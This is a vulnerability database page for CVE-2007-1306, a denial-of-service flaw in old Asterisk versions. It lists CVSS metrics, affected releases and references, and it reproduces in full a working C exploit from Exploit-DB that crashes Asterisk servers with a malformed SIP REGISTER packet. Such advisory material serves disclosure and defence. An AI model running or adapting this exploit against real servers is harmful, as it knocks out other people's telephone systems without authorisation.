CVE-2007-1306 : Detail

CVE-2007-1306

95.9%V3
Network
2007-03-06
23h00 +00:00
2017-07-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Asterisk 1.4 before 1.4.1 and 1.2 before 1.2.16 allows remote attackers to cause a denial of service (crash) by sending a Session Initiation Protocol (SIP) packet without a URI and SIP-version header, which results in a NULL pointer dereference.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3407

Publication date : 2007-03-03 23h00 +00:00
Author : fbffff
EDB Verified : Yes

/* this will cause asterisk to segfault, the bug that this exploits has been patched in release 1.2.16 & 1.4.1 CLI> Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 1082719152 (LWP 2510)] register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0) at chan_sip.c:8257 8257 while (*t && *t > ' ' && *t != ';') (gdb) build: gcc -o asterisk-sip-killer asterisk-sip-killer.c run: ./asterisk-sip-killer -h <targethost> */ #include <stdio.h> #include <string.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <netdb.h> #include <netinet/tcp.h> #define SIP_UDP_PORT 5060 struct udp_session { int sd; struct sockaddr_in saddr; }; int make_udp(struct udp_session *p, char *remotehost, int port) { int sd; int ret; struct sockaddr_in saddr; struct hostent *he; sd = socket(AF_INET,SOCK_DGRAM,0); if (sd == -1) { printf("error making socket\n"); return -1; } he = gethostbyname(remotehost); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); saddr.sin_addr.s_addr = inet_addr(remotehost); memset(&(saddr.sin_zero), '\0', 8); p->sd = sd; memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in)); printf("udp socket ready\n"); return 0; } void kill_asterisk(struct udp_session *sess) { int ret; char *p = "REGISTER \r\n" "Via: SIP/2.0/UDP 192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n" "Max-Forwards: 70\r\n" "From: <sip:[email protected]>;tag=as253946cf\r\n" "To: <sip:[email protected]>\r\n" "Call-ID: [email protected]\r\n" "CSeq: 104 REGISTER\r\n" "User-Agent: Asterisk PBX\r\n" "Expires: 120\r\n" "Contact: <sip:[email protected]>\r\n" "Event: registration\r\n" "Content-Length: 0\r\n"; ret = sendto(sess->sd, p, strlen(p), 0, (struct sockaddr *)&sess->saddr, sizeof(struct sockaddr)); if (ret) { printf("You may have well shutdown a asterisk server\n"); } else { printf("there was a issue sending the request\n"); return; } return; } int main(int argc, char **argv) { int i = 0; char *r_host = NULL; struct udp_session *connection_out; for (i=0;i<argc;i++) { if (!(strcmp(argv[i],"-h"))) { printf("it looks like you want a host entry\n"); r_host = argv[i+1]; printf("r_host: %s\n", r_host); } } if (!r_host) { printf("umm you forgot the -h <host> option!\n"); return 0; } if (!(connection_out = (struct udp_session *)malloc(sizeof(struct udp_session)))) { printf("malloc failed your computer sucks\n"); return 0; } make_udp(connection_out, r_host, SIP_UDP_PORT); kill_asterisk(connection_out); free(connection_out); return 0; } // milw0rm.com [2007-03-04]

Products Mentioned

Configuraton 0

Digium>>Asterisk >> Version 1.2.0_beta1

    Digium>>Asterisk >> Version 1.2.0_beta2

      Digium>>Asterisk >> Version 1.2.6

      Digium>>Asterisk >> Version 1.2.7

      Digium>>Asterisk >> Version 1.2.8

      Digium>>Asterisk >> Version 1.2.9

      Digium>>Asterisk >> Version 1.2.10

      Digium>>Asterisk >> Version 1.2.11

      Digium>>Asterisk >> Version 1.2.12

      Digium>>Asterisk >> Version 1.2.12.1

      Digium>>Asterisk >> Version 1.2.13

      Digium>>Asterisk >> Version 1.2.14

      Digium>>Asterisk >> Version 1.2.15

      Digium>>Asterisk >> Version 1.2_beta1

        Digium>>Asterisk >> Version 1.2_beta2

          Digium>>Asterisk >> Version 1.4.0

          Digium>>Asterisk >> Version 1.4.0_beta1

            Digium>>Asterisk >> Version 1.4.0_beta2

              References

              http://www.vupen.com/english/advisories/2007/0830
              Tags : vdb-entry, x_refsource_VUPEN
              http://www.securityfocus.com/bid/22838
              Tags : vdb-entry, x_refsource_BID
              http://www.osvdb.org/33888
              Tags : vdb-entry, x_refsource_OSVDB
              http://secunia.com/advisories/24578
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://asterisk.org/node/48319
              Tags : x_refsource_CONFIRM
              http://asterisk.org/node/48320
              Tags : x_refsource_CONFIRM
              http://secunia.com/advisories/24380
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://security.gentoo.org/glsa/glsa-200703-14.xml
              Tags : vendor-advisory, x_refsource_GENTOO
              http://secunia.com/advisories/25582
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://www.securitytracker.com/id?1017723
              Tags : vdb-entry, x_refsource_SECTRACK
              http://www.kb.cert.org/vuls/id/228032
              Tags : third-party-advisory, x_refsource_CERT-VN
              http://www.debian.org/security/2007/dsa-1358
              Tags : vendor-advisory, x_refsource_DEBIAN